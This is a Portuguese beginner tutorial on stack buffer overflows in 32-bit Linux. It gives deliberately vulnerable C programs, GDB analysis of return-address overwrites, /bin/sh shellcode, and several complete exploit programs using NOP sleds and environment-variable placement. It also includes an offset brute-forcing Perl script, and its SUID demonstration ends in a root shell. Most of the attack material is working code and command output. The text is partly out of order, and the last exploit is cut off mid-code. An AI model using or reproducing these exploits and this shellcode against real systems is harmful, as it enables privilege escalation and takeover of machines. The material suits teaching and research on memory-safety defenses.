VIVA! Conseguimos de PRIMEIRA! Sem chute de offsets nem nada disso
Endendendo o esquema do SUID
Só pra ficar mais claro agora!
———————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ su
Password:
root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chown root.root vuln02
root@hostnotfound:/home/newbie/tecnicas/stack_overflow# chmod 4755 vuln02
root@hostnotfound:/home/newbie/técnicas/stack_overflow# exit
exit
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_2_xpl
Você digitou: ▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿▒õÿ¿
sh-2.05b$ id
uid=0(root) gid=0(root)
sh-2.05b$
———————————————
Este tutorial é bem explicativo para aquelas pessoas que ainda estão começando.
Aqueles que não entenderem este tutorial, aconselho a lerem os livros que eu traduzi em português.
aUTOR »JUAN
Então vamos começar
Stack overflow – esta é uma das técnicas mais fáceis(pelo menos que eu acho).
Não ensinarei a criar shellcodes e essas coisas, sei que e relacionado ao assunto mais segue um caminho totalmente diferente com relação ao que eu quero passar para vocês. Vejam o meu post que eu estou disponibilizando um livro de buffer overflow. Não percam, estou disponibilizando vários livros que eu mesmo estou traduzindo. Dêem uma olhada no blog, e procure sobre alguns dos meus livros.
Introdução
Um processador e formado por uma ULA(Unidade Lógica Aritmética), uma Unidade de Controle e pelos Registradores.
Registradores são pequenas áreas da memória(dentro do processador) que servem para armazenar alguns
dados para serem processados para assim não precisar de ficar pegando e tirando dados da memória! Mais isso tem um poder quanto a limitação. Não pense que esses dados de memórias chegam aos MBytes muito menos aos KBytes… estou falando em registradores de alguns Bits.
Isso nos da uma limitação quando nós carregamos um programa… porque não conseguirmos executar todas as instruções sem a perda de alguns dados… Para isso existe a pilha…
A pilha(stack) é uma forma de ampliar a nossa área de atuação… Ela é uma região da memória que foi separada para armazenar alguns dados do processamento de um programa. Vejamos a utilização de uma função em C:
——————————-
Soma (10, 4);
——————————-
Talves, o processador poderia colocar esses valores nos registradores. mas se fossem numero muito grande ou se o numero que eu quisesse
somar fosse maior que o numero de registradores? Isso ele resolve facilmente…
ele simplesmente empurra (push) esses valores para a pilha… Só que ele não pode
empurrar o 10 e depois o 4 porque a pilha não tem esse nome em vão. Ela tem esse nome justamente porque ela funciona como uma pilha de livros…
Se você colocar um livro em cima da pilha, quando você retirar, você vai tirar o
ultimo que você colocou já que ele esta no topo… Então para processar esses
parâmetros passados e necessários empurrar o 4 e em seguida o 10:
——————————-
push 4
push 10
——————————————————————————————-
Então vamos ao nosso Primeiro programa bugado(vulnerável)
Agora vamos ver como um programa faz para separar uma área de stack para
armazenar um valor! Vamos fazer o seguinte programa em C:
++++++++++++ vuln01.c +++++++++++++++
/*
Primeiro exemplo de programa bugado a stack overflow para o tutoria de Stack Overflow.
Escrito por chuck_newbie, mas em qualquer tutorial e mesma coisa .
chuck_newbie@hotmail.com
*/
#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[256];
if (argc < 2) {
printf (“Use: %s <string>\n”, argv[0]);
exit(0);
}
strcpy(buffer, argv[1]);
printf (“Você digitou: %s\n”, buffer);
}
++++++++++++++++++++++++++++++++
Esse e um simples programa que separa uma área no stack para armazenar
vários caracteres(no caso foi 256). Em seguida ele pega o primeiro argumento passado
pelo usuário e copia para dentro dessa variável supondo que o usuário não digite
mais que 256.
“Mais que 256”, eu falo isso porque quando você declarou a variável para aceitar até 256 caracteres, o sistema separo espaço no stack para armazenar esse valor..
Então ele disse “essa área vai ser para o variável buffer e ela terá o máximo 256 bytes… ou seja… ninguém mais vai usar ela!” e o resto do sistema não usa esse espaço na memória… mais tem um porem… Ele pode muito bem usar o que tem antes e o que tem depois…
E ele irá usar para armazenar dados importantes para nosso programa.
E se colocar-mos mais, o que aconteceria?
Vamos testar?
————————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc -o vuln01 vuln01.c
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01
Use: ./vuln01 <string>
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln01 chuck_newbie
Você digitou: chuck_newbie
newbie@hostnotfound:~/técnicas/stack_overflow$
————————————-
Agora entendeu como ele funciona? Ele simplesmente pega o valor que eu digitei como parâmetro e copia para dentro da variável buffer! Mais veja o seguinte:
————————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln01 `perl -e ‘print “A”x300;’`
Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$
————————————
Para quem não conhece perl, eu explico; única coisa que eu fiz agora, foi multiplicar o “A” por 300, que o resultado deu trezentos A.
Então, quando eu fiz essa multiplicação, eu mandei esse tanto de “A”, para o programa bugado, e deu erro no nosso programa:
É obvio porque deu ERRO, mais vou explicar. É Porque nós colocamos mais dados no buffer do que ele suportava.
Isso fez com que fosse sobrescrita alguma área de memória importante para o funcionamento do nosso programa.
Essa área nada mais e do que o endereço de retorno da função “strcpy”.
Debugando com o GDB
Vamos usar o programa GDB(GNU Debugger) para saber o que o sistema faz no nosso programa:
——————————–
newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb vuln01
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i486-slackware-linux”…
———————————-
Agora vamos disassemblar a função main
———————————-
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: sub $0×108,%esp
0x080483cd <main+9>: and $0xfffffff0,%esp
0x080483d0 <main+12>: mov $0×0,%eax
0x080483d5 <main+17>: sub %eax,%esp
0x080483d7 <main+19>: cmpl $0×1,0×8(%ebp)
0x080483db <main+23>: jg 0x80483f7 <main+51>
0x080483dd <main+25>: sub $0xc,%esp
0x080483e0 <main+28>: push $0x80484f4
0x080483e5 <main+33>: call 0x80482d0
0x080483ea <main+38>: add $0×10,%esp
0x080483ed <main+41>: sub $0xc,%esp
0x080483f0 <main+44>: push $0×0
0x080483f2 <main+46>: call 0x80482e0
0x080483f7 <main+51>: sub $0×8,%esp
0x080483fa <main+54>: mov 0xc(%ebp),%eax
0x080483fd <main+57>: add $0×4,%eax
0×08048400 <main+60>: pushl (%eax)
0×08048402 <main+62>: lea 0xfffffef8(%ebp),%eax
0×08048408 <main+68>: push %eax
0×08048409 <main+69>: call 0x80482f0
0x0804840e <main+74>: add $0×10,%esp
0×08048411 <main+77>: sub $0×8,%esp
0×08048414 <main+80>: lea 0xfffffef8(%ebp),%eax
0x0804841a <main+86>: push %eax
0x0804841b <main+87>: push $0×8048506
0×08048420 <main+92>: call 0x80482d0
0×08048425 <main+97>: add $0×10,%esp
0×08048428 <main+100>: leave
0×08048429 <main+101>: ret
0x0804842a <main+102>: nop
End of assembler dump.
(gdb)
—————————————-
Vamos tentar entender alguma coisa dai!
Não e necessário saber Tudo.
Vamos começar nas duas primeiras linhas:
—————————————-
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
—————————————-
Esse e o procedimento inicial de qualquer programa C compilado!
continuando:
—————————————
0x080483c7 <main+3>: sub $0×108,%esp
————————————–
Essa instrução subtrai 0×108(264) “ds” posição do stack(Stack Pointer – SP).
Isso serve para declararmos uma posição no stack para uma variável, e essas
coisas.
Podemos observar que existe varias chamadas(calls) para outras partes
da memória… Mais tem um porem na instrução call, você sabe como ela faz
para poder retornar na instrução seguinte?
O que eu quero saber é como o programa sabe em que endereço os “call” foram executados para poder voltar quando terminar de executá-lo!
Simples…
O nome desse endereço, é endereço de retorno(Return Address) e ele ficam armazenados no stack..
Olha que legal!
Então vejamos… Se nos separamos espaço para nossa variável de 256
caracteres e um pouco acima(isso e pilha) separamos um espaço para o
endereço de retorno o que acontece se nos colocarmos mais de 256 caracteres?
Para ficar mais claro veja o esquema?
PILHA
———————————————————————————–
| buffer[256] | mais alguma coisa | endereco de retorno |
———————————————————————————–
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|——————————————————————————->
Percebeu que uma hora nés sobrescrevemos o endereco de retorno?
Entao vamos ver isso na pratica
Vamos imprimir na tela, 272 “AS”, e mandar para nosso programa que está separando 256 bits.
——————————
(gdb) r `perl -e ‘print “A”x272;’`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x272;’`
Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0×41414141 in ?? ()
(gdb)
——————————
Deu um erro de segmentação!
porque aonde esta 0×41414141?
—————————–
0×41414141 in ?? ()
—————————–
OBS: quando você estiver estudando este tutorial, baixe o programa debuger, e faça os mesmos teste, pois os resultados que estamos pegando está la.
VOLTANDO..
Você pode estar se perguntado o que isso prova. qual e o valor HEX do
caracteres A ? 0×41 ?
o programa tentou apontar para a posição AAAA da memória!
Se ainda não ficou muito claro vamos ver o seguinte:
——————————
(gdb) r `perl -e ‘print “A”x268 . “ABCD”;’`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/newbie/tecnicas/stack_overflow/vuln01 `perl -e ‘print “A”x268 . “ABCD”;’`
Voce digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAABCD
Program received signal SIGSEGV, Segmentation fault.
0×44434241 in ?? ()
(gdb)
—————————–
Agora ele tentou saltar para o endereço 0×44434241 = BCDA.. Uai, mais eu
Não digitei ABCD no final…
Sim amigo… mais se lembra que no stack o ultimo a entrar e o primeiro a sair?
Nesse caso ele empurro(push) o caractere “D” para o ultimo…
Entao ele foi o primeiro a sair(0×44).. Mais com isso nos só conseguimos fazer
um simples ataque DoS no sistema para killar algum programa e isso não nos interessa
muito! Então o que podemos fazer mais?
Como você percebeu… nós conseguimos alterar para onde o programa saltará.
Então porque não fazemos ele saltar para uma posição da memória que tenha um código
que realmente de para executar?
ta começando a clarear?
Nós podemos executar qualquer código dentro do sistema!
Agora entra um outro assunto mais antes vamos pegar um valor importante para nosso exploit inicial:
a posição da stack(Stack Pointer ou ESP) para fazer nosso exploit inicial. Veremos
que podemos usar um artifício para não precisar de saber esse valor mais inicialmente
é bom saber-mos:
————————
(gdb) info reg esp
esp 0xbffff420 0xbffff420
(gdb)
———————–
Agora vamos ao outro assunto que eu disse agora pouco!
————————————————————————————————–
Programas SUID
Programas SUID são programa que tem o bit mais ativado(chmod +s vuln01)
isso faz com que ele seja executado com as permissões do super usuário(root)..
mais você fica limitado só a esse programa… não adianta tentar colocar ele
em background e digitar ‘id’ esperando um uid=0(root) que você vai se decepcionar!
Aí, que nos entramos…
Se esse programa estiver vulnerável a overflow nós podemos
executar algum código dentro dele… então nós so precisamos de executar um
/bin/sh para abrir uma shell como root… já que o programa que executo ele está
rodando com as permissões do root!
Qual código colocar na memória?
O código que deveremos colocar na memória se chama shellcode(código
de shell)… só q ele deve ser escrito em linguagem de maquina para ser executado!
Veja o post que eu disponibilizo um livro de shellcodes em português. Logo, baixe o livro e estude. O shellcode que nos executaremos e o seguinte:
————————————-
char shellcode[] = “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
————————————
Se você assustou, então faça o que eu disse o livro, que você vai entender como criar uma shell.
O que você precisa de saber de ante mão e que esse código faz o mesmo que:
execl(“/bin/sh”,”/bin/sh”,0);
Só que em linguagem de maquina!
Escrevendo o Exploit
Para, aprender a criar um exploit. Veja em um de meus posts que eu estou disponilizando um livro traduzido do metasploit.
Agora que temos a shell, vem a parte mais legal de tudo…
Vamos fazer um programa que explora esse nosso programa fazendo ele executar o nosso shellcode!
O que nos faremos e o seguinte:
Encheremos uma variável com nosso shellcode e com o endereço dele de uma
maneira que esse endereço fique corretamente sobre o endereço de retorno da seguinte
forma:
+—————————-+——————————+———————–
| buffer[256] | mais alguma cosia | retorno |
+————————— +——————————+———————–
| CCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRRRRRRRRRRRRRR|
onde:
C = Nosso shellcode
R = Novo endereço de retorno
O grande problema(agora) é saber para onde apontar já que ele deve apontar
corretamente no inicio do nosso shellcode… então nós teremos que fazer o endereço
de retorno apontar para a posição da pilha(ESP) já que nosso shellcode ficara lá e
em seguida ficar chutando variações(offsets) para tentar fazer ele cair certinho aonde
queremos! Segue o código do exploit bem comentado:
+++++++++++++++++ 1_xpl.c +++++++++++++++++++++
/*
Exploit para o primeiro exemplo de programa bugado a stack overflow
Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial
*/
#define TAM 272 // Tamanho do nosso buffer até ele sobrescrever o ret
#define ESP 0xbffff420 // Posição da pinha que nos pegamos usando o GDB
// Vamos declarar nosso shellcode
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
int main(int argc, char *argv[]) {
char buffer[TAM];
long addr; // Para armazenar o endereço do shellcode
int i;
// Armazenamos o valor do endereço de buffer
addr = ESP;
// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)
if (argc > 1) addr += atoi(argv[1]);
printf(“Novo endereço: 0x%08x\n”, addr);
// Enchemos o buffer com o esp + offset(q se tivermos sorte será aonde está nosso shellcode)
for (i = 0; i < TAM; i += 4)
*(long *)&buffer[i] = addr;
// Agora colocamos o shellcode no inicio dele
memcpy(buffer, shellcode, strlen(shellcode));
// E executamos vuln01 passando nosso buffer maligno como parâmetro
execl(“./vuln01″, “vuln01″, buffer, 0);
}
++++++++++++++++++++++++++++++++++++++++++
Agora vamos ao teste:
———————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 1_xpl.c -o 1_xpl
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl
Novo endereço: 0xbffff420
Você digitou: ë^1ÀFF
(um monte de trosso estranho)
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$
———————————————
Vimos que não deu de cara o inicio já que nosso shellcode não esta no inicio do stack
Então só nos resta ficar chutando offsets de 1 em 1:
——————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 1
Novo endereco: 0xbffff421
Você digitou: ë^1ÀFF
Instrução ilegal
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 2
Novo endereco: 0xbffff422
Você digitou: ë^1ÀFF
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$ ./1_xpl 3
Novo endereço: 0xbffff423
Instrução ilegal
newbie@hostnotfound:~/técnicas/stack_overflow$
——————————————
Isso e trabalhoso, né ? Logo, a função de nós(fucadores) e agilizar nosso trabalho.
Faça o seguinte script em perl:
++++++++++++ exec.pl +++++++++++++++
#!/usr/bin/perl
############################################
# Script[zinhu] para agilizar o chute dos offsets em uso nos exploits #
# Feito por chuck_newbie – chuck_newbie@hotmail.com #
# use: perl exec.pl [programa] [offset inicial] [offset final] [variacao] #
############################################
$prog=$ARGV[0];
$offset_ini=$ARGV[1];
$offset_fim=$ARGV[2];
$offset_int=$ARGV[3];
for ($i = $offset_ini; $i < $off_set_fim; $i += $offset_int) {
printf “Offset: ” . $offset_ini + $i . “\n”;
system(“./$prog $i”);
}
++++++++++++++++++++++++++++++++
Agora vamos testá-lo:
——————————————–
newbie@hostnotfound:~/tecnicas/stack_overflow$ perl exec.pl 1_xpl 1 1000 1
blablablablalba
blablablablablablabla
blablablablablabla
( e depois de varios offsets )
417
Novo endereco: 0xbffff5c1
Você digitou: ë^1ÀFF
sh-2.05b$
——————————————
Executamos o /bin/sh.
Mais percebeu que foi usado o offset 417 ?
Se tivesse que fazer isso na mão quando você acertasse seu filho já conheceria essa
Técnica(supondo que você ainda não tenha nenhum)! Então vamos melhorar nosso
exploit consideravelmente usando um artifício muito bom e utilizado!
Utilizando NOP – No Operation
Um NOP e um comando em ASM que significa No Operation.. ou seja.. ele faz
uma coisa muito importante..NADA!!
O que nós poderíamos fazer é o seguinte:
- Encher nosso buffer com NOPs e depois com nosso shellcode. Isso porque se o
Endereço de retorno cair em algum NOP então ele e executado corretamente
e em seguida passa para o próximo e assim vai ate chegar ao destino?
isso!!!
No nosso querido e amado shellcode! Então nos temos que fazer nosso buffer da seguinte forma!
+—————————-+——————————+———————–
| buffer[256] | mais alguma cosia | retorno |
+————————— +——————————+———————–
| NNNNNNNNNNNCCCCCCCCCCCCCCCRRRRRRRRRRRRRRRRR|
Onde:
N = NOP = 0×90(linguagem de maquina)
C = ShellCode
R = Endereço que sobrescrevera o endereço de retorno
Se você já entendeu vamos parar de falar e vamos ao código… agora, si você não entendeu leia de novo:
+++++++++++++++++ 2_xpl.c +++++++++++++++++++++
/*
Segundo exploit para o primeiro exemplo de programa bugado a stack overflow
Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial
*/
#define TAM 272
#define ESP 0xbffff420
#define NOP 0×90
// Vamos declarar nosso shellcode
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
int main(int argc, char *argv[]) {
char buffer[TAM];
long addr; // Para armazenar o endereço do shellcode
int i;
// Armazenamos o valor do endereço de buffer
addr = ESP;
// Possibilitamos alterar o endereço de retorno para chutar variações(offsets)
if (argc > 1) addr += atoi(argv[1]);
printf(“Novo endereço: 0x%08x\n”, addr);
// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)
for (i = 0; i < TAM; i += 4) {
*(long *)&buffer[i] = addr;
}
// Vamos encher uma parte do buffer com nossos NOPs
for (i = 0; i < TAM – strlen(shellcode) – 24; i++)
buffer[i] = NOP;
printf (“Colocado %d NOPs\n”, TAM – strlen(shellcode) – 24);
// Agora colocamos o shellcode depois dos nops
memcpy(buffer + i, shellcode, strlen(shellcode));
// E executamos vuln01 passando nosso buffer maligno como parâmetro
execl(“./vuln01″, “vuln01″, buffer, 0);
}
++++++++++++++++++++++++++++++++++++++++++
Agora executando:
————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 2_xpl.c -o 2_xpl
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl
Novo endereco: 0xbffff420
Colocado 203 NOPs
Você digitou: ë^1ÀFF
(lixo)
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$
———————————–
Ainda não… Mais isso era de se esperar.
Mais ele nos deu uma informação importante… Ele nos disse que tem 203 NOPs…
Isso nos possibilita chutar offsets variando de 203 em 203.
Bem melhor do que de um em um.
Vamos tentar na unha mesmo!
———————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 200
Novo endereco: 0xbffff4e8
Colocado 203 NOPs
Você digitou: ë^1ÀFF
Instrução ilegal
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 400
Novo endereco: 0xbffff5b0
Colocado 203 NOPs
Você digitou: ë^1ÀFF
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$ ./2_xpl 600
Novo endereço: 0xbffff678
Colocado 203 NOPs
Você digitou: ë^1ÀFF
sh-2.05b$ exit
exit
———————————–
Conseguimos com apenas três chutes nos conseguimos fazer o endereço de
retorno apontar para nosso shellcode(pelo menos para um dos 203 NOPs
)! Vamos agora a mais um passo para facilitar a nossa vida!
Fazendo o exploit pegar o ESP
Um dos maiores problemas de escrever exploits e que as posições de memória
variam de compilação a compilação, de sistema a sistema e de execução a
execuçao! Isso quer dizer que se você fizer um exploit para sua maquina talvez ele não
funfe em outra, porque o endereço do ESP pode ter mudado drasticamente!
Mais graças a Deus podemos usar um artifício para conseguirmos pegar o nosso
Tão querido ESP dentro do nosso exploit… não entrarei em detalhes! Só teste o
seguinte:
+++++++++++ pega_esp.c ++++++++++++++++
unsigned long pega_esp(void) {
__asm__(“movl %ESP, %EAX”);
}
void main() {
printf (“Abracadabra..\nAlacasan…\nE nosso ESP e 0x%08x!\nTchanranram!!!\n\n”,pega_esp());
}
++++++++++++++++++++++++++++++++++
Nossa função pega_esp() só move o vamos do ESP para o registrador EAX que
“por coincidência” e o valor do resultado das funções! Agora compile e execute:
———————————————
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc pega_esp.c -o pega_esp
pega_esp.c: In function `main’:
pega_esp.c:5: warning: return type of `main’ is not `int’
newbie@hostnotfound:~/técnicas/stack_overflow$ ./pega_esp
Abracadabra..
Alacasan…
E nosso ESP e 0xbffff518!
Tchanranram!!!
newbie@hostnotfound:~/técnicas/stack_overflow$
———————————————
Ai esta nosso ESP!!
Agora vamos deixar em embromação e vamos a
escrita de nosso shellcode mais aperfeiçoado ainda:
+++++++++++++++ 3_xpl.c ++++++++++++++++++++++++
/*
Terceiro exploit para o primeiro exemplo de programa bugado a stack overflow
Escrito por chuck_newbie (chuck_newbie@hotmail.com) para tutorial
*/
#define TAM 272
#define NOP 0×90
// Nossa função[zinha] que pega o valor do nosso ESP
unsigned long pega_esp(void) {
__asm__(“movl %ESP, %EAX”);
}
// Vamos declarar nosso shellcode
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
int main(int argc, char *argv[]) {
char buffer[TAM];
long addr; // Para armazenar o endereço do shellcode
int i;
// Armazenamos o valor do endereço de buffer
addr = pega_esp();
// Possibilitamos alterar o endereco de retorno para chutar variações(offsets)
if (argc > 1) addr += atoi(argv[1]);
printf(“Novo endereco: 0x%08x\n”, addr);
// Enchemos o buffer com o esp(que pressupomos que e onde esta o shellcode)
for (i = 0; i < TAM; i += 4) {
*(long *)&buffer[i] = addr;
}
// Vamos encher uma parte do buffer com nossos NOPs
for (i = 0; i < TAM – strlen(shellcode) – 24; i++)
buffer[i] = NOP;
printf (“Colocado %d NOPs\n”, TAM – strlen(shellcode) – 24);
// Agora colocamos o shellcode depois dos nops
memcpy(buffer + i, shellcode, strlen(shellcode));
// E executamos vuln01 passando nosso buffer maligno como parâmetro
execl(“./vuln01″, “vuln01″, buffer, 0);
}
+++++++++++++++++++++++++++++++++++++++++
Da para perceber que a única diferença e que trocamos o valor de ESP que tínhamos
antes pelo valor que acabamos de pegar! Isso facilita para rodar os xpl’s em outros
sistemas! A execução será a mesmo:
———————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc 3_xpl.c -o 3_xpl
newbie@hostnotfound:~/técnicas/stack_overflow$ ./3_xpl 600
Novo endereco: 0xbffff650
Colocado 203 NOPs
Você digitou: ë^1ÀFF
(alguns lixo da memória)
sh-2.05b$ exit
exit
———————————-
Espero amigo que esse entendimento tenha ficado bem claro para voce!
Si você quer estudar mais sobre exploração. Então veja os outros posts no meu blog, pois eu tenho 4 lindos livros(metasploit, buffer overflow, shellcode, arquitetura, assembly).
Entre no meu blog e confira as novidades, e veja os posts sobre os livros. Mas, por favor: so baixe o livro si você for realmente estudar. Si não for, não baixe.
Agora, vamos ao mais um obstáculo para nossos estudos. Veja o nosso segundo programa bugado abaixo:
+++++++++++++++++ vuln02.c ++++++++++++++++++++
#include <stdio.h>
int main(int argc, char *argv[]) {
char buffer[8];
if (argc < 2) {
printf (“Use: %s <string>\n”, argv[0]);
exit(0);
}
strcpy(buffer, argv[1]);
printf (“Você digitou: %s\n”, buffer);
}
+++++++++++++++++++++++++++++++++++++++++++
Repare que ele esta vulneravel da mesma forma que o anterior… Só que tem um
grande problema! O buffer só tem 16 bytes e não caberá nem NOPs nem o ShellCode
dentro dele porque o próprio shellcode sobrescrevera o endereço de retorno!
Mais podemos ver perfeitamente que ele esta vulnerável:
————————————-
newbie@hostnotfound:~/técnicas/stack_overflow$ gcc vuln02.c -o vuln02
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02
Use: ./vuln02 <string>
newbie@hostnotfound:~/tecnicas/stack_overflow$ ./vuln02 chuck_newbie
Você digitou: chuck_newbie
newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x30;’`
Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Falha de segmentação
newbie@hostnotfound:~/técnicas/stack_overflow$ ulimit -c 1234567
newbie@hostnotfound:~/técnicas/stack_overflow$ ./vuln02 `perl -e ‘print “A”x29 . “BCDE”;’`
Você digitou: AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE
Falha de segmentação (core dumped)
newbie@hostnotfound:~/tecnicas/stack_overflow$ gdb -c core
GNU gdb 6.0
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type “show copying” to see the conditions.
There is absolutely no warranty for GDB. Type “show warranty” for details.
This GDB was configured as “i486-slackware-linux”.
Core was generated by `./vuln02 AAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDE’.
Program terminated with signal 11, Segmentation fault.
#0 0×44434241 in ?? ()
(gdb)
———————————
Podemos ver perfeitamente que nos podemos sobrescrever o endereço de retorno
do programa vulnerável para apontar para outro lugar! Mais não podemos colocar
nosso shellcode com nossos nops nessa variável porque não caberia… Mais eu nunca
disse que eles precisam estar nessa variável! E só colocar ele em qualquer outro
lugar da memória e fazer ele apontar para lá! Um bom lugar seria as variáveis de
ambiente porque elas(quando declaradas no nosso programa) vão para o topo to stack!
Então nosso exploit só precisa de setar uma variável de ambiente com nossos
NOPs e nosso shellcode e fazer o programa bugado apontar para lá, que no caso seria
mais perto to topo do stack do que no exemplo anterior!
Então vamos ao exploit:
++++++++++++++++++++ 1_2_xpl.c +++++++++++++++++++
/*
Exploit para o segundo programa bugado a stack overflow
com um buffer muito pequeno! Desenvolvedor por Chuck_NewBie
chuck_newbie@hotmail.com
*/
#include <stdio.h>
#define ENV_LEN 4096 // Pode ser bem grande q naum tem problema
#define BUF_LEN 32
#define NOP 0×90
unsigned long pega_esp(void) {
__asm__(“movl %esp, %eax”);
}
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
int main(int argc, char *argv[]) {
char *buffer, *var_amb;
int i;
long new_ret;
// Pegamos a posição do stack e adicionamos offsets se desejado
new_ret = pega_esp();
if (argc > 1) new_ret += atoi(argv[1]); // Adiciona offset
// Alocamos espaco para a variável buffer e enchemos soh o o novo endereco
buffer = malloc(BUF_LEN);
if (buffer == NULL) {
fprintf (stderr, “Erro ao alocar memória para o buffer!\n”);
exit(-1);
}
for (i = 0; i <BUF_LEN; i += 4)
*(long *)&buffer[i] = new_ret;
// Agora que o buffer jah ta feito precisamos de criar nossa varaivel de ambiente!
var_amb = malloc(ENV_LEN);
if (var_amb == NULL) {
fprintf (stderr, “Erro ao alocar memória para ambiente!\n”);
exit(-1);
}
// Agora colocas um monte de nops no inicio dela
for (i = 0; i < ENV_LEN – strlen(shellcode) – 1; i++) // -1 porque tem q ter o NULL Char no final
var_amb[i] = NOP;
memcpy(var_amb + i, shellcode, strlen(shellcode)); // Colocamos nosso shellcode logo depois dos nops
var_amb[ENV_LEN] = 0; // Colocamos o NULL Char
